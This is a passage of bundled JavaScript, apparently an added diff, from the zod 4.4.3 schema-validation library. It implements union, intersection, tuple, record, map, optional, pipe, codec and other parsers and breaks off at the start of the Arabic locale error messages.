$constructor("$ZodXor", (inst, def) => { + $ZodUnion.init(inst, def); + def.inclusive = false; + const first = def.options.length === 1 ? def.options[0]._zod.run : null; + inst._zod.parse = (payload, ctx) => { + if (first) { + return first(payload, ctx); + } + let async = false; + const results = []; + for (const option of def.options) { + const result = option._zod.run({ + value: payload.value, + issues: [] + }, ctx); + if (result instanceof Promise) { + results.push(result); + async = true; + } else { + results.push(result); + } + } + if (!async) + return handleExclusiveUnionResults(results, payload, inst, ctx); + return Promise.all(results).then((results2) => { + return handleExclusiveUnionResults(results2, payload, inst, ctx); + }); + }; +}); +var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { + def.inclusive = false; + $ZodUnion.init(inst, def); + const _super = inst._zod.parse; + defineLazy(inst._zod, "propValues", () => { + const propValues = {}; + for (const option of def.options) { + const pv = option._zod.propValues; + if (!pv || Object.keys(pv).length === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const [k, v] of Object.entries(pv)) { + if (!propValues[k]) + propValues[k] = /* @__PURE__ */ new Set(); + for (const val of v) { + propValues[k].add(val); + } + } + } + return propValues; + }); + const disc = cached(() => { + const opts = def.options; + const map2 = /* @__PURE__ */ new Map(); + for (const o of opts) { + const values2 = o._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); + for (const v of values2) { + if (map2.has(v)) { + throw new Error(`Duplicate discriminator value "${String(v)}"`); + } + map2.set(v, o); + } + } + return map2; + }); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!isObject2(input)) { + payload.issues.push({ + code: "invalid_type", + expected: "object", + input, + inst + }); + return payload; + } + const opt = disc.value.get(input?.[def.discriminator]); + if (opt) { + return opt._zod.run(payload, ctx); + } + if (def.unionFallback || ctx.direction === "backward") { + return _super(payload, ctx); + } + payload.issues.push({ + code: "invalid_union", + errors: [], + note: "No matching discriminator", + discriminator: def.discriminator, + options: Array.from(disc.value.keys()), + input, + path: [def.discriminator], + inst + }); + return payload; + }; +}); +var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + const left = def.left._zod.run({ value: input, issues: [] }, ctx); + const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const async = left instanceof Promise || right instanceof Promise; + if (async) { + return Promise.all([left, right]).then(([left2, right2]) => { + return handleIntersectionResults(payload, left2, right2); + }); + } + return handleIntersectionResults(payload, left, right); + }; +}); +function mergeValues(a, b2) { + if (a === b2) { + return { valid: true, data: a }; + } + if (a instanceof Date && b2 instanceof Date && +a === +b2) { + return { valid: true, data: a }; + } + if (isPlainObject(a) && isPlainObject(b2)) { + const bKeys = Object.keys(b2); + const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); + const newObj = { ...a, ...b2 }; + for (const key of sharedKeys) { + const sharedValue = mergeValues(a[key], b2[key]); + if (!sharedValue.valid) { + return { + valid: false, + mergeErrorPath: [key, ...sharedValue.mergeErrorPath] + }; + } + newObj[key] = sharedValue.data; + } + return { valid: true, data: newObj }; + } + if (Array.isArray(a) && Array.isArray(b2)) { + if (a.length !== b2.length) { + return { valid: false, mergeErrorPath: [] }; + } + const newArray = []; + for (let index2 = 0; index2 < a.length; index2++) { + const itemA = a[index2]; + const itemB = b2[index2]; + const sharedValue = mergeValues(itemA, itemB); + if (!sharedValue.valid) { + return { + valid: false, + mergeErrorPath: [index2, ...sharedValue.mergeErrorPath] + }; + } + newArray.push(sharedValue.data); + } + return { valid: true, data: newArray }; + } + return { valid: false, mergeErrorPath: [] }; +} +function handleIntersectionResults(result, left, right) { + const unrecKeys = /* @__PURE__ */ new Map(); + let unrecIssue; + for (const iss of left.issues) { + if (iss.code === "unrecognized_keys") { + unrecIssue ?? (unrecIssue = iss); + for (const k of iss.keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k).l = true; + } + } else { + result.issues.push(iss); + } + } + for (const iss of right.issues) { + if (iss.code === "unrecognized_keys") { + for (const k of iss.keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k).r = true; + } + } else { + result.issues.push(iss); + } + } + const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); + if (bothKeys.length && unrecIssue) { + result.issues.push({ ...unrecIssue, keys: bothKeys }); + } + if (aborted(result)) + return result; + const merged = mergeValues(left.value, right.value); + if (!merged.valid) { + throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); + } + result.value = merged.data; + return result; +} +var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { + $ZodType.init(inst, def); + const items = def.items; + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!Array.isArray(input)) { + payload.issues.push({ + input, + inst, + expected: "tuple", + code: "invalid_type" + }); + return payload; + } + payload.value = []; + const proms = []; + const optinStart = getTupleOptStart(items, "optin"); + const optoutStart = getTupleOptStart(items, "optout"); + if (!def.rest) { + if (input.length < optinStart) { + payload.issues.push({ + code: "too_small", + minimum: optinStart, + inclusive: true, + input, + inst, + origin: "array" + }); + return payload; + } + if (input.length > items.length) { + payload.issues.push({ + code: "too_big", + maximum: items.length, + inclusive: true, + input, + inst, + origin: "array" + }); + } + } + const itemResults = new Array(items.length); + for (let i = 0; i < items.length; i++) { + const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + if (r instanceof Promise) { + proms.push(r.then((rr) => { + itemResults[i] = rr; + })); + } else { + itemResults[i] = r; + } + } + if (def.rest) { + let i = items.length - 1; + const rest = input.slice(items.length); + for (const el of rest) { + i++; + const result = def.rest._zod.run({ value: el, issues: [] }, ctx); + if (result instanceof Promise) { + proms.push(result.then((r) => handleTupleResult(r, payload, i))); + } else { + handleTupleResult(result, payload, i); + } + } + } + if (proms.length) { + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + } + return handleTupleResults(itemResults, payload, items, input, optoutStart); + }; +}); +function getTupleOptStart(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + if (items[i]._zod[key] !== "optional") + return i + 1; + } + return 0; +} +function handleTupleResult(result, final, index2) { + if (result.issues.length) { + final.issues.push(...prefixIssues(index2, result.issues)); + } + final.value[index2] = result.value; +} +function handleTupleResults(itemResults, final, items, input, optoutStart) { + for (let i = 0; i < items.length; i++) { + const r = itemResults[i]; + const isPresent = i < input.length; + if (r.issues.length) { + if (!isPresent && i >= optoutStart) { + final.value.length = i; + break; + } + final.issues.push(...prefixIssues(i, r.issues)); + } + final.value[i] = r.value; + } + for (let i = final.value.length - 1; i >= input.length; i--) { + if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { + final.value.length = i; + } else { + break; + } + } + return final; +} +var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!isPlainObject(input)) { + payload.issues.push({ + expected: "record", + code: "invalid_type", + input, + inst + }); + return payload; + } + const proms = []; + const values2 = def.keyType._zod.values; + if (values2) { + payload.value = {}; + const recordKeys = /* @__PURE__ */ new Set(); + for (const key of values2) { + if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { + recordKeys.add(typeof key === "number" ? key.toString() : key); + const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); + if (keyResult instanceof Promise) { + throw new Error("Async schemas not supported in object keys currently"); + } + if (keyResult.issues.length) { + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())), + input: key, + path: [key], + inst + }); + continue; + } + const outKey = keyResult.value; + const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (result instanceof Promise) { + proms.push(result.then((result2) => { + if (result2.issues.length) { + payload.issues.push(...prefixIssues(key, result2.issues)); + } + payload.value[outKey] = result2.value; + })); + } else { + if (result.issues.length) { + payload.issues.push(...prefixIssues(key, result.issues)); + } + payload.value[outKey] = result.value; + } + } + } + let unrecognized; + for (const key in input) { + if (!recordKeys.has(key)) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } + } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input, + inst, + keys: unrecognized + }); + } + } else { + payload.value = {}; + for (const key of Reflect.ownKeys(input)) { + if (key === "__proto__") + continue; + if (!Object.prototype.propertyIsEnumerable.call(input, key)) + continue; + let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); + if (keyResult instanceof Promise) { + throw new Error("Async schemas not supported in object keys currently"); + } + const checkNumericKey = typeof key === "string" && number.test(key) && keyResult.issues.length; + if (checkNumericKey) { + const retryResult = def.keyType._zod.run({ value: Number(key), issues: [] }, ctx); + if (retryResult instanceof Promise) { + throw new Error("Async schemas not supported in object keys currently"); + } + if (retryResult.issues.length === 0) { + keyResult = retryResult; + } + } + if (keyResult.issues.length) { + if (def.mode === "loose") { + payload.value[key] = input[key]; + } else { + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())), + input: key, + path: [key], + inst + }); + } + continue; + } + const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (result instanceof Promise) { + proms.push(result.then((result2) => { + if (result2.issues.length) { + payload.issues.push(...prefixIssues(key, result2.issues)); + } + payload.value[keyResult.value] = result2.value; + })); + } else { + if (result.issues.length) { + payload.issues.push(...prefixIssues(key, result.issues)); + } + payload.value[keyResult.value] = result.value; + } + } + } + if (proms.length) { + return Promise.all(proms).then(() => payload); + } + return payload; + }; +}); +var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!(input instanceof Map)) { + payload.issues.push({ + expected: "map", + code: "invalid_type", + input, + inst + }); + return payload; + } + const proms = []; + payload.value = /* @__PURE__ */ new Map(); + for (const [key, value] of input) { + const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); + const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); + if (keyResult instanceof Promise || valueResult instanceof Promise) { + proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { + handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + })); + } else { + handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + } + } + if (proms.length) + return Promise.all(proms).then(() => payload); + return payload; + }; +}); +function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { + if (keyResult.issues.length) { + if (propertyKeyTypes.has(typeof key)) { + final.issues.push(...prefixIssues(key, keyResult.issues)); + } else { + final.issues.push({ + code: "invalid_key", + origin: "map", + input, + inst, + issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }); + } + } + if (valueResult.issues.length) { + if (propertyKeyTypes.has(typeof key)) { + final.issues.push(...prefixIssues(key, valueResult.issues)); + } else { + final.issues.push({ + origin: "map", + code: "invalid_element", + input, + inst, + key, + issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }); + } + } + final.value.set(keyResult.value, valueResult.value); +} +var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!(input instanceof Set)) { + payload.issues.push({ + input, + inst, + expected: "set", + code: "invalid_type" + }); + return payload; + } + const proms = []; + payload.value = /* @__PURE__ */ new Set(); + for (const item of input) { + const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); + if (result instanceof Promise) { + proms.push(result.then((result2) => handleSetResult(result2, payload))); + } else + handleSetResult(result, payload); + } + if (proms.length) + return Promise.all(proms).then(() => payload); + return payload; + }; +}); +function handleSetResult(result, final) { + if (result.issues.length) { + final.issues.push(...result.issues); + } + final.value.add(result.value); +} +var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { + $ZodType.init(inst, def); + const values2 = getEnumValues(def.entries); + const valuesSet = new Set(values2); + inst._zod.values = valuesSet; + inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (valuesSet.has(input)) { + return payload; + } + payload.issues.push({ + code: "invalid_value", + values: values2, + input, + inst + }); + return payload; + }; +}); +var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { + $ZodType.init(inst, def); + if (def.values.length === 0) { + throw new Error("Cannot create literal schema with no valid values"); + } + const values2 = new Set(def.values); + inst._zod.values = values2; + inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (values2.has(input)) { + return payload; + } + payload.issues.push({ + code: "invalid_value", + values: def.values, + input, + inst + }); + return payload; + }; +}); +var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (input instanceof File) + return payload; + payload.issues.push({ + expected: "file", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.optin = "optional"; + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + throw new $ZodEncodeError(inst.constructor.name); + } + const _out = def.transform(payload.value, payload); + if (ctx.async) { + const output = _out instanceof Promise ? _out : Promise.resolve(_out); + return output.then((output2) => { + payload.value = output2; + payload.fallback = true; + return payload; + }); + } + if (_out instanceof Promise) { + throw new $ZodAsyncError(); + } + payload.value = _out; + payload.fallback = true; + return payload; + }; +}); +function handleOptionalResult(result, input) { + if (input === void 0 && (result.issues.length || result.fallback)) { + return { issues: [], value: void 0 }; + } + return result; +} +var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.optin = "optional"; + inst._zod.optout = "optional"; + defineLazy(inst._zod, "values", () => { + return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + }); + defineLazy(inst._zod, "pattern", () => { + const pattern = def.innerType._zod.pattern; + return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; + }); + inst._zod.parse = (payload, ctx) => { + if (def.innerType._zod.optin === "optional") { + const input = payload.value; + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) + return result.then((r) => handleOptionalResult(r, input)); + return handleOptionalResult(result, input); + } + if (payload.value === void 0) { + return payload; + } + return def.innerType._zod.run(payload, ctx); + }; +}); +var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { + $ZodOptional.init(inst, def); + defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + inst._zod.parse = (payload, ctx) => { + return def.innerType._zod.run(payload, ctx); + }; +}); +var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); + defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); + defineLazy(inst._zod, "pattern", () => { + const pattern = def.innerType._zod.pattern; + return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; + }); + defineLazy(inst._zod, "values", () => { + return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + }); + inst._zod.parse = (payload, ctx) => { + if (payload.value === null) + return payload; + return def.innerType._zod.run(payload, ctx); + }; +}); +var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.optin = "optional"; + defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + return def.innerType._zod.run(payload, ctx); + } + if (payload.value === void 0) { + payload.value = def.defaultValue; + return payload; + } + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) { + return result.then((result2) => handleDefaultResult(result2, def)); + } + return handleDefaultResult(result, def); + }; +}); +function handleDefaultResult(payload, def) { + if (payload.value === void 0) { + payload.value = def.defaultValue; + } + return payload; +} +var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.optin = "optional"; + defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + return def.innerType._zod.run(payload, ctx); + } + if (payload.value === void 0) { + payload.value = def.defaultValue; + } + return def.innerType._zod.run(payload, ctx); + }; +}); +var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "values", () => { + const v = def.innerType._zod.values; + return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; + }); + inst._zod.parse = (payload, ctx) => { + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) { + return result.then((result2) => handleNonOptionalResult(result2, inst)); + } + return handleNonOptionalResult(result, inst); + }; +}); +function handleNonOptionalResult(payload, inst) { + if (!payload.issues.length && payload.value === void 0) { + payload.issues.push({ + code: "invalid_type", + expected: "nonoptional", + input: payload.value, + inst + }); + } + return payload; +} +var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + throw new $ZodEncodeError("ZodSuccess"); + } + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) { + return result.then((result2) => { + payload.value = result2.issues.length === 0; + return payload; + }); + } + payload.value = result.issues.length === 0; + return payload; + }; +}); +var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.optin = "optional"; + defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); + defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + return def.innerType._zod.run(payload, ctx); + } + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) { + return result.then((result2) => { + payload.value = result2.value; + if (result2.issues.length) { + payload.value = def.catchValue({ + ...payload, + error: { + issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + payload.issues = []; + payload.fallback = true; + } + return payload; + }); + } + payload.value = result.value; + if (result.issues.length) { + payload.value = def.catchValue({ + ...payload, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + payload.issues = []; + payload.fallback = true; + } + return payload; + }; +}); +var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + if (typeof payload.value !== "number" || !Number.isNaN(payload.value)) { + payload.issues.push({ + input: payload.value, + inst, + expected: "nan", + code: "invalid_type" + }); + return payload; + } + return payload; + }; +}); +var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "values", () => def.in._zod.values); + defineLazy(inst._zod, "optin", () => def.in._zod.optin); + defineLazy(inst._zod, "optout", () => def.out._zod.optout); + defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + const right = def.out._zod.run(payload, ctx); + if (right instanceof Promise) { + return right.then((right2) => handlePipeResult(right2, def.in, ctx)); + } + return handlePipeResult(right, def.in, ctx); + } + const left = def.in._zod.run(payload, ctx); + if (left instanceof Promise) { + return left.then((left2) => handlePipeResult(left2, def.out, ctx)); + } + return handlePipeResult(left, def.out, ctx); + }; +}); +function handlePipeResult(left, next, ctx) { + if (left.issues.length) { + left.aborted = true; + return left; + } + return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); +} +var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "values", () => def.in._zod.values); + defineLazy(inst._zod, "optin", () => def.in._zod.optin); + defineLazy(inst._zod, "optout", () => def.out._zod.optout); + defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + inst._zod.parse = (payload, ctx) => { + const direction = ctx.direction || "forward"; + if (direction === "forward") { + const left = def.in._zod.run(payload, ctx); + if (left instanceof Promise) { + return left.then((left2) => handleCodecAResult(left2, def, ctx)); + } + return handleCodecAResult(left, def, ctx); + } else { + const right = def.out._zod.run(payload, ctx); + if (right instanceof Promise) { + return right.then((right2) => handleCodecAResult(right2, def, ctx)); + } + return handleCodecAResult(right, def, ctx); + } + }; +}); +function handleCodecAResult(result, def, ctx) { + if (result.issues.length) { + result.aborted = true; + return result; + } + const direction = ctx.direction || "forward"; + if (direction === "forward") { + const transformed = def.transform(result.value, result); + if (transformed instanceof Promise) { + return transformed.then((value) => handleCodecTxResult(result, value, def.out, ctx)); + } + return handleCodecTxResult(result, transformed, def.out, ctx); + } else { + const transformed = def.reverseTransform(result.value, result); + if (transformed instanceof Promise) { + return transformed.then((value) => handleCodecTxResult(result, value, def.in, ctx)); + } + return handleCodecTxResult(result, transformed, def.in, ctx); + } +} +function handleCodecTxResult(left, value, nextSchema, ctx) { + if (left.issues.length) { + left.aborted = true; + return left; + } + return nextSchema._zod.run({ value, issues: left.issues }, ctx); +} +var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) => { + $ZodPipe.init(inst, def); +}); +var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); + defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); + defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + inst._zod.parse = (payload, ctx) => { + if (ctx.direction === "backward") { + return def.innerType._zod.run(payload, ctx); + } + const result = def.innerType._zod.run(payload, ctx); + if (result instanceof Promise) { + return result.then(handleReadonlyResult); + } + return handleReadonlyResult(result); + }; +}); +function handleReadonlyResult(payload) { + payload.value = Object.freeze(payload.value); + return payload; +} +var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { + $ZodType.init(inst, def); + const regexParts = []; + for (const part of def.parts) { + if (typeof part === "object" && part !== null) { + if (!part._zod.pattern) { + throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); + } + const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; + if (!source) + throw new Error(`Invalid template literal part: ${part._zod.traits}`); + const start = source.startsWith("^") ? 1 : 0; + const end = source.endsWith("$") ? source.length - 1 : source.length; + regexParts.push(source.slice(start, end)); + } else if (part === null || primitiveTypes.has(typeof part)) { + regexParts.push(escapeRegex(`${part}`)); + } else { + throw new Error(`Invalid template literal part: ${part}`); + } + } + inst._zod.pattern = new RegExp(`^${regexParts.join("")}$`); + inst._zod.parse = (payload, _ctx) => { + if (typeof payload.value !== "string") { + payload.issues.push({ + input: payload.value, + inst, + expected: "string", + code: "invalid_type" + }); + return payload; + } + inst._zod.pattern.lastIndex = 0; + if (!inst._zod.pattern.test(payload.value)) { + payload.issues.push({ + input: payload.value, + inst, + code: "invalid_format", + format: def.format ?? "template_literal", + pattern: inst._zod.pattern.source + }); + return payload; + } + return payload; + }; +}); +var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { + $ZodType.init(inst, def); + inst._def = def; + inst._zod.def = def; + inst.implement = (func) => { + if (typeof func !== "function") { + throw new Error("implement() must be called with a function"); + } + return function(...args) { + const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; + const result = Reflect.apply(func, this, parsedArgs); + if (inst._def.output) { + return parse(inst._def.output, result); + } + return result; + }; + }; + inst.implementAsync = (func) => { + if (typeof func !== "function") { + throw new Error("implementAsync() must be called with a function"); + } + return async function(...args) { + const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; + const result = await Reflect.apply(func, this, parsedArgs); + if (inst._def.output) { + return await parseAsync(inst._def.output, result); + } + return result; + }; + }; + inst._zod.parse = (payload, _ctx) => { + if (typeof payload.value !== "function") { + payload.issues.push({ + code: "invalid_type", + expected: "function", + input: payload.value, + inst + }); + return payload; + } + const hasPromiseOutput = inst._def.output && inst._def.output._zod.def.type === "promise"; + if (hasPromiseOutput) { + payload.value = inst.implementAsync(payload.value); + } else { + payload.value = inst.implement(payload.value); + } + return payload; + }; + inst.input = (...args) => { + const F = inst.constructor; + if (Array.isArray(args[0])) { + return new F({ + type: "function", + input: new $ZodTuple({ + type: "tuple", + items: args[0], + rest: args[1] + }), + output: inst._def.output + }); + } + return new F({ + type: "function", + input: args[0], + output: inst._def.output + }); + }; + inst.output = (output) => { + const F = inst.constructor; + return new F({ + type: "function", + input: inst._def.input, + output + }); + }; + return inst; +}); +var $ZodPromise = /* @__PURE__ */ $constructor("$ZodPromise", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + return Promise.resolve(payload.value).then((inner) => def.innerType._zod.run({ value: inner, issues: [] }, ctx)); + }; +}); +var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "innerType", () => { + const d = def; + if (!d._cachedInner) + d._cachedInner = def.getter(); + return d._cachedInner; + }); + defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); + defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); + defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); + defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + inst._zod.parse = (payload, ctx) => { + const inner = inst._zod.innerType; + return inner._zod.run(payload, ctx); + }; +}); +var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { + $ZodCheck.init(inst, def); + $ZodType.init(inst, def); + inst._zod.parse = (payload, _) => { + return payload; + }; + inst._zod.check = (payload) => { + const input = payload.value; + const r = def.fn(input); + if (r instanceof Promise) { + return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + } + handleRefineResult(r, payload, input, inst); + return; + }; +}); +function handleRefineResult(result, payload, input, inst) { + if (!result) { + const _iss = { + code: "custom", + input, + inst, + // incorporates params.error into issue reporting + path: [...inst._zod.def.path ?? []], + // incorporates params.error into issue reporting + continue: !inst._zod.def.abort + // params: inst._zod.def.params, + }; + if (inst._zod.def.params) + _iss.params = inst._zod.def.params; + payload.issues.push(issue(_iss)); + } +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +var locales_exports = {}; +__export(locales_exports, { + ar: () => ar_default, + az: () => az_default, + be: () => be_default, + bg: () => bg_default, + ca: () => ca_default, + cs: () => cs_default, + da: () => da_default, + de: () => de_default, + el: () => el_default, + en: () => en_default, + eo: () => eo_default, + es: () => es_default, + fa: () => fa_default, + fi: () => fi_default, + fr: () => fr_default, + frCA: () => fr_CA_default, + he: () => he_default, + hr: () => hr_default, + hu: () => hu_default, + hy: () => hy_default, + id: () => id_default, + is: () => is_default, + it: () => it_default, + ja: () => ja_default, + ka: () => ka_default, + kh: () => kh_default, + km: () => km_default, + ko: () => ko_default, + lt: () => lt_default, + mk: () => mk_default, + ms: () => ms_default, + nl: () => nl_default, + no: () => no_default, + ota: () => ota_default, + pl: () => pl_default, + ps: () => ps_default, + pt: () => pt_default, + ro: () => ro_default, + ru: () => ru_default, + sl: () => sl_default, + sv: () => sv_default, + ta: () => ta_default, + th: () => th_default, + tr: () => tr_default, + ua: () => ua_default, + uk: () => uk_default, + ur: () => ur_default, + uz: () => uz_default, + vi: () => vi_default, + yo: () => yo_default, + zhCN: () => zh_CN_default, + zhTW: () => zh_TW_default +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +var error = () => { + const Sizable = { + string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0645\u062F\u062E\u0644", + email: "\u0628\u0631\u064A\u062F \u0625\u0644\u0643\u062A\u0631\u0648\u0646\u064A", + url: "\u0631\u0627\u0628\u0637", + emoji: "\u0625\u064A\u0645\u0648\u062C\u064A", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u062A\u0627\u0631\u064A\u062E \u0648\u0648\u0642\u062A 